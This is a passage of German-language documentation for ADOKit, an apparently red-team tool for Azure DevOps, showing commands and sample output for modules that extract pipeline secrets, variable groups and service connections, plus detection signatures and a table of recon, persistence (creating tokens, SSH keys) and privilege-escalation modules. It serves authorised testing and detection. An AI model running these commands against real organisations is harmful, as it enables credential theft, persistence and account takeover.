`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Beispielausgabe```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Extrahiere alle Variablengruppen und die entsprechenden Variablen, die in Projekten verwendet werden, die Anmeldeinformationen oder andere nützliche Informationen enthalten könnten.
Gib das Modul getvariablegroups zusammen mit einem /project: für ein bestimmtes Projekt an, um alle verwendeten Variablengruppen zu extrahieren. Wenn du Variablengruppen aus allen Projekten extrahieren möchtest, gib in dem /project:-Argument all an.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Serviceverbindungen abrufen
#### Anwendungsfall
> *Listet alle Serviceverbindungen auf, die in Projekten verwendet werden, und zeigt dem Operator, wo er versuchen sollte, Anmeldeinformationen für verwendete Serviceverbindungen zu extrahieren.*
#### Syntax
Geben Sie das Modul `getserviceconnections` zusammen mit einem `/project:` für ein bestimmtes Projekt an, um alle verwendeten Serviceverbindungen aufzulisten. Wenn Sie Serviceverbindungen aus allen Projekten auflisten möchten, geben Sie im Argument `/project:` `all` an.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Beispielausgabe```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Nachfolgend finden Sie statische Signaturen für die spezifische Nutzung dieses Tools in seinem Standardzustand:
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - Erkennt die Nutzung von ADOKit mit jedem überwachbaren Ereignis (z. B. Hinzufügen eines Benutzers zu einer Gruppe)PersistenceTechniqueWithADOKit.json - Erkennt die Erstellung eines PAT oder SSH-Schlüssels mit ADOKitEine Anleitung zur Erkennung der vom Tool verwendeten Techniken finden Sie im X-Force Red Whitepaper.
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops| Angriffsszenario | Modul | Spezielle Berechtigungen? | Notizen |
|---|
| Recon | check | Nein | |
| Recon | whoami | Nein | |
| Recon | listorgs | Nein | |
| Recon | listrepo | Nein | |
| Recon | searchrepo | Nein | |
| Recon | listproject | Nein | |
| Recon | searchproject | Nein | |
| Recon | searchcode | Nein | |
| Recon | searchfile | Nein | |
| Recon | listuser | Nein | |
| Recon | searchuser | Nein | |
| Recon | listteam | Nein | |
| Recon | searchteam | Nein | |
| Recon | getteammembers | Nein | |
| Recon | listgroup | Nein | |
| Recon | searchgroup | Nein | |
| Recon | getgroupmembers | Nein | |
| Recon | getpermissions | Nein | |
| Recon | creds | Nein | |
| Recon | getbuildlogs | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Recon | listbuildlogs | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Recon | searchbuildlogs | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Persistenz | createpat | Nein | |
| Persistenz | listpat | Nein | |
| Persistenz | removepat | Nein | |
| Persistenz | createsshkey | Nein | |
| Persistenz | listsshkey | Nein | |
| Persistenz | removesshkey | Nein | |
| Privilegienausweitung | addprojectadmin | Ja - Project Administrator, Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | removeprojectadmin | Ja - Project Administrator, Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | addbuildadmin | Ja - Project Administrator, Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | removebuildadmin | Ja - Project Administrator, Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | addcollectionadmin | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | removecollectionadmin | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | addcollectionbuildadmin | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | removecollectionbuildadmin | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | addcollectionbuildsvc | Ja - Project Collection Administrator, Project Colection Build Administrators oder Project Collection Service Accounts | |
| Privilegienausweitung | removecollectionbuildsvc | Ja - Project Collection Administrator, Project Colection Build Administrators oder Project Collection Service Accounts | |
| Privilegienausweitung | addcollectionsvc | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | removecollectionsvc | Ja - Project Collection Administrator oder Project Collection Service Accounts | |
| Privilegienausweitung | getpipelinevars | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Privilegienausweitung | getpipelinesecrets | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Privilegienausweitung | getvariablegroups | Ja - Contributors oder Readers oder Build Administrators oder Project Administrators oder Project Team Member oder Project Collection Test Service Accounts oder Project Collection Build Service Accounts oder Project Collection Build Administrators oder Project Collection Service Accounts oder Project Collection Administrators | |
| Privilegienausweitung | getserviceconnections | Ja - Project Administrator, Project Collection Administrator oder Project Collection Service Accounts |